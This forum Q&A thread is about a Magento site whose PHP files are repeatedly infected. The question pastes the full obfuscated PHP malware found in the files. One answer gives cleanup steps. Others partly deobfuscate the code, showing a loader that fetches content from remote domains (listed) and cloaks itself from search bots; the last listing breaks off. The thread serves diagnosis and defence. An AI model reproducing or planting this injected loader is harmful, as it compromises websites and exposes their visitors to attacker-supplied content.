Magento Website Hacked - encryption code in all php files

Question

Our website getting hacked again and again with some encryption code in all php files.

I don't know why and how it's hacked.

I want to know if someone can debug and provide some needy solutions.

Here is encryption code sample which is on eav

<?php $oitjaarhvj = ',27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37]53]y6d]281]y43]78]y33]65]x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22x61%160%x28%42%x66%152%x66%147%x67%42%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x57825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%sut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<5:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x78#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323l5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbsx5c%x7825zW%x5c%x7825h>E25j:>>1*!%x5c%x7825b:>x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsq>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]57-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%372]58y]472]37y]672]48y]#>s%x5c%xx7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s234]342]58]24]31#-%x5c%x#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%8604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+op,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x%x78256<pd%x5c%x7825w6Z6<.4%7pd%x5c%x78256<C%x5c%x7827p#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%xjfgg($n){return chr(ox5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Yw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ox782f35.)1%x5c%x782f14+9**-)1%x5c%x%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>zH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x7LL); }7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!o5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%fmy%x5c%x7825)utjm!|!*5!%x5csvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x57827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x7825!|Z~!<##!>!2p%x5c%if((function_exists("%x6f%142%x5f%18]225]241]334]368]322]3]364]c%x7860UQPMSVD!-id%x5c%278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7er%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]727878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#]y83]256]y81]265]y72]254]y76#<%x5c%x7827825!-#1]#-bubE{h%x5dfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%xc%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787f85c%x5c%x7825j:^<!%x560%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x2f7#@#7%x5c%x782f7^#iuc%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{*bz)%x5c%x7824]25%x5c%x7824-%x52e%52%x29%57%x65","%x65%166c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x:55946-tr.984:75983:48984:71]K9]77]D]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x78qj%x5c%x78256<*Y%x5c%x7825)fnbozcYuf%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;#-%x5c%x7825tmw)%x5c%x7825tww**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%xnpdov{h19275j{hnpd19275fubmgoj{h1156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%3Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9pnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%%x5c%x7825:>:r%x5c%x7825:|:6]283]427]36]373P6]36]73]83]238M7x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c63%x74%141%x72%164")%x5c%x7825o:!>!%x5c%x78242178}527}8)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x77825h>#]y31]278]y3e]81]K825j,,*!|%x5c%x7824-%x5c%x7824gvodujptmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;V%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273sfwjidsb%x5c%x7860bj+upcotn+qsvmt+f]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%x%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%%x785c}X%x5c%x7824<!%x5c%x7825t787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]25zw>!#]y76]277]y72]265]y39]274]y85y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NU!%x5c%x7825t2w)##Qtjw)#]82#-#!5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x7825)Rd%x5c%x7825)Rb%xutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x78%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:]273]y6g]273]y76]271]y7d]252]y74]256]y3x5c%x787f;!osvufs}w;*%x5c%hA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x78]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]578:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-25%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825j%x5c%x7825>j%x5c%x7825!*3!%x55c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x78bq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x0#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuv%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#08:}334}472%x5c%x7824<!%x5c%x7825mm!5tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y7^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opc%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%xsb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEE78pmpusut)tpqssutRe%x5c;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssc%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x52]254]y76]61]y33]68]y34]68]y33]65]y31%x7827u%x5c%x7825)7fmji%x5c%x78786<C%7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17>!#]y81]273]y76]258]y6g]273]y76]27x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*2x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyfd%x5c%x78256|6.7eu{66~67<&w6<*&73qj%x5c%x78257>%x5c%x|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!g825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5cx5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#XA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5cx5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c}:}.}-}!#*<%x5c%x7825nfd>%x%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%1L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]28c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>c%x782f#@#%x5c%x782fqp%x5c%pjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x7#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%5c%x787f<*X&Z&S{ftmfV%x5mhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#05fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]2725j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x78x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x782256]y78]248]y83]256]y81]265]y7x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860mf%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<f782f2986+7**^%x5c%x782f%x5c%x78252]48y]#>m%x5c%x7825:|:*r%x5c%x7827825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%xo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5 && (!isset($GLOBALS["%x61%so!sboepn)%x5c%x7825e#57]38y]47]67y]37]88y]27]28y%x61%154%x28%151%x6d%160%x6c%157%x6sutcvt)fubmgoj{hA!osvufs!~<3,25bT-%x5c%x7825hW~%x5c%x782x7825!|!*!***b%x5c%x7825)sf%x,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57%x5c%x7825>%x5c%x782fh%x5c%x7825:<**4%145%x28%141%x72%162%x61%171%x5f%155%j!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTx5c%x7860hA%x5c%x7827pd%x*u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825lx5c%x782400~:<h%x5c%x7825_tjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%c%x782f#)rrd%x5c%x782f#00ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7x787fw6*CW&)7gj6<*K)ftpmd%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x%x78e%x5c%x78b%x5c%x76#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jo#>>}R;msv}.;%x5c%x782f85c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c]},;osvufs}%x5c%x7827;mnui}&;zepc}4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpzx5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqA;~!}%x5c%x787f;!|!}{;)gj}l;x7825mm)%x5c%x7825%x5c%x7879]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>16]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782ofmy%x5c%x7825,3,j%x5c%x7825>j%x#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x78/(.*)/epreg_replacebycwfnvqls'; $vhigkknqds = explode(chr((173-129)),'2124,35,3886,20,8575,27,3549,70,1275,21,4583,56,3090,27,8651,35,8848,38,127,38,81,46,1554,64,2664,64,7467,65,1159,28,9000,25,5034,67,8089,38,1187,27,6721,32,9137,56,9252,25,7004,54,6364,37,6934,70,9419,50,2767,54,1362,51,3117,64,1694,41,6753,21,4272,68,3324,36,5354,65,2951,22,5762,61,8467,42,1296,66,9277,53,4735,65,3941,56,2303,70,7284,61,9218,34,6614,48,714,61,165,68,7218,39,3360,65,7112,46,8509,66,2187,23,8157,46,1928,52,5328,26,6662,59,8247,47,4119,54,8686,29,5666,30,2973,38,2516,20,7345,46,9675,55,284,50,10016,32,1456,63,1900,28,5177,66,8042,47,6774,50,8886,52,5125,52,5607,59,3619,70,6544,70,7058,54,9193,25,6198,43,2037,62,7646,27,1980,57,2099,25,8742,29,1796,51,4340,35,7883,39,10048,58,6175,23,5101,24,482,57,6119,56,8938,62,4227,45,4513,70,422,60,2536,51,4173,54,6012,63,9469,23,1214,61,1735,61,7673,39,585,60,3516,33,3997,61,975,63,9092,45,4639,65,2891,60,7859,24,6448,62,8771,41,0,55,1038,51,375,47,2842,49,9601,34,9730,28,3011,49,9025,40,7712,43,9551,50,4704,31,4909,33,5289,39,9785,57,2477,39,5952,60,9892,69,9065,27,861,39,8812,36,8623,28,5419,63,3790,27,3454,62,2425,52,775,33,5482,55,8327,33,334,41,3906,35,5917,35,6510,34,6241,39,3060,30,6280,47,2728,39,1089,70,8360,70,6877,57,2587,38,6401,47,4082,37,8430,37,9842,50,1413,43,9961,55,8203,44,2373,52,4375,70,2625,39,6824,53,5859,58,5823,36,8602,21,3722,68,539,24,1618,70,9492,59,5004,30,3425,29,7532,53,4058,24,5243,46,4800,52,2210,42,3181,36,9635,40,7433,34,7391,42,3217,56,645,69,3689,33,7257,27,5696,66,8715,27,7922,67,2159,28,3817,33,4445,68,900,24,233,51,1519,35,8294,33,2252,51,3273,51,7989,53,563,22,7158,60,7755,45,2821,21,6075,44,7585,61,7800,59,1847,53,808,53,9758,27,5537,70,924,51,3850,36,9330,21,4852,57,9351,68,8127,30,6327,37,55,26,4942,62,1688,6'); $ziyszsasep=substr($oitjaarhvj,(37753-27647),(36-29)); if (!function_exists('ybctpxzabq')) { function ybctpxzabq($nroaslzhnr, $enonziuwoe) { $vpzwgoazoc = NULL; for($etyxgizhgu=0;$etyxgizhgu<(sizeof($nroaslzhnr)/2);$etyxgizhgu++) { $vpzwgoazoc .= substr($enonziuwoe, $nroaslzhnr[($etyxgizhgu*2)],$nroaslzhnr[($etyxgizhgu*2)+1]); } return $vpzwgoazoc; };} $tgnfzyekix="\x20\57\x2a\40\x61\157\x71\152\x61\170\x6f\172\x64\163\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x33\55\x31\61\x36\51\x29\54\x20\143\x68\162\x28\50\x33\66\x38\55\x32\67\x36\51\x29\54\x20\171\x62\143\x74\160\x78\172\x61\142\x71\50\x24\166\x68\151\x67\153\x6b\156\x71\144\x73\54\x24\157\x69\164\x6a\141\x61\162\x68\166\x6a\51\x29\51\x3b\40\x2f\52\x20\172\x6a\171\x79\163\x6d\143\x66\156\x77\40\x2a\57\x20"; $azhjeshvmx=substr($oitjaarhvj,(46254-36141),(84-72)); $azhjeshvmx($ziyszsasep, $tgnfzyekix, NULL); $azhjeshvmx=$tgnfzyekix; $azhjeshvmx=(647-526); $oitjaarhvj=$azhjeshvmx-1; ?>

Answer 1

General issue here, asking a web admin 101 question on a programming website:

1. On a shared server that's been hacked? Get off shared servers, not ecommerce secure. REMOVE LEAKAGE FROM OTHER COMPROMISED WEBSITES ON OTHER ACCOUNTS PERMANTENTLY!!

2. Next, start with any workstation that's been used to maintain the website, remove keylogger infestations and password stealers. SECURE HOW YOU MAINTAIN YOUR WEBSITE!!

3. Are you still using FTP? Stop using FTP and convert to SCP/SFTP so you're not sending cleartext passwords. SECURE HOW YOU TRANSFER CODE TO YOUR WEBSITE!!

4. Change all WHM/Cpanel and SSH passwords. SECURE YOUR WEB SERVER!!

5. After closing all workstation access and server account access holes, Nuke from orbit, deleting all application code, empting http doc root, dropping database and recreating database. ELIMINATE THE HACKED CODE PERMANENTLY FROM YOUR WEBSERVER AND DATABASE!!

6. Restore database and application code from known good backups.

7. Make sure that file/folder permissions are correct and that all .htaccess files are in place. There have been some exceptionally dumb recommendations running around the net to fix minor problems with media folder access which allow executing php code out of world writable directories.

Answer 2

Here's as far as I've gotten it:

<?php

if((function_exists('ob_start') && (!isset($GLOBALS['anuna']))))
{
    $GLOBALS['anuna']=1;
    function subtract_one($n){
        return chr(ord($n)-1);
    }
    @error_reporting(0);

    $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W';
    $siv = 'str_replace';
    $slv = 'strrev';
    $s1v='create_function';
    $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}';
    $n9 = '1067|416|779|223|361';


    function oo2($b) {
        $h = explode("|", strrev($b));
        $d = explode("*", $h[0]);
        $b = $h[1];
        for($i=0;$i<sizeof($d);$i++) {
            $b = str_replace($i, $d[$i], $b);
        }
        create_function("", "};".$b."//");
    }

    function cqq($qw) {
        return random($domarr,$qw);
    }

    function oo1($y) {
        $y= strrev($y);
        $g=substr($y,strpos($y,"9")+1);
        $v = explode(":",substr($y,0,strpos($y,"9")));
        for($i=0;$i<sizeof($v);$i++) {
            $q = explode("|", $v[$i]);
            $g = str_replace($q[0],$q[1],$g);
        }
        create_function("", "};".$g."//");
    }

    $s1v("", $siv("9"," ",$slv($svv)));

    function random($arr,$qw) {
        $g=" w-8\\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\\x33,\\x67= w. \x072; \r5-8"."6d944835,sq-873964872937873960\\x386\\x639\\x351\\x387\\x34\\x3b";
        $soy = "\\x65\r6\\x32";
        $xx="\\x65x\x070"."\r4\\x6f\x0c4\\x65";
        $ecx="\\x63r\\x65\x0c1\x074\x0c5_\x0c6\x075\r6\\x63t\\x69\r7\\x6e";
        $scy="\x073t\x072_\x072\x0c5\x070\r4\\x61\x0c3\\x65";
        $a = $xx("|","\\x\x07c\\\\x31|\\x3d\x07c\\x3b$\x07c$");
        $aa = $xx("|","8|9|-|,| ");
        $mec=$ecx;
        for($i=0;$i<sizeof($a);$i++) {
            $g = $scy($aa[$i],$a[$i],$g);
        }
        $ecx("", "};$g//");
        $mec("", $soy("\x98?\r3\x0c7\x16w\rfunction \x93\xaf\x89\x02\xab\x05z\xce\x15\xb2\x0c5\x152:W\r6\xb8@\r4.\xe1?\x04\x1f\x11\r2\x86\xdc) { \xdc\x1a\x88\xeb{\xab\x05[$i]\x99\'\x0b\x10",$scy));

        return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
    } 

    $r9 = explode("|",$n9);
    $b9=0;
    $a9=0;
    for($i9=0;$i9<sizeof($r9);$i9++) {
        if ($i9==0)
            $a9=0;
        else
            $a9=$r9[$i9-1]+$a9;
        $b9=$r9[$i9];
        $v_[]=substr($v9, $a9, $b9);
    }
    $y =1;
    for($i=0;$i<5;$i++) {
        $vv1 ="o"."o".$y;
        if ($y==1)
            $y=2;
        else
            $y=1;
        $vv1($v_[$i]);
    }

}
?>

Answer 3

Fiasko Labs answered this question already, but I have decoded the file, because I like riddles ;)

I won't provide any dirty fixes for this code, as it would not improve anything.

After the script loaded it makes a request to one of a few sites and displays the response. I'm not quite sure what kind of code / html they load, as it may be specific per hacked shop (didn't try yet).

The requested URLs are:

• 33db9538.com
• 9507c4e8.com
• e5b57288.com
• 54dfa1cb.com

I've already send an abuse mail to the registrar.

And here is the code, free from decoding functions and stuff like that (maybe not totally free from decoding bugs):

<?php

if((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
    $GLOBALS["anuna"]=1;
    function fjfgg($n){return chr(ord($n)-1);}
    @error_reporting(0);

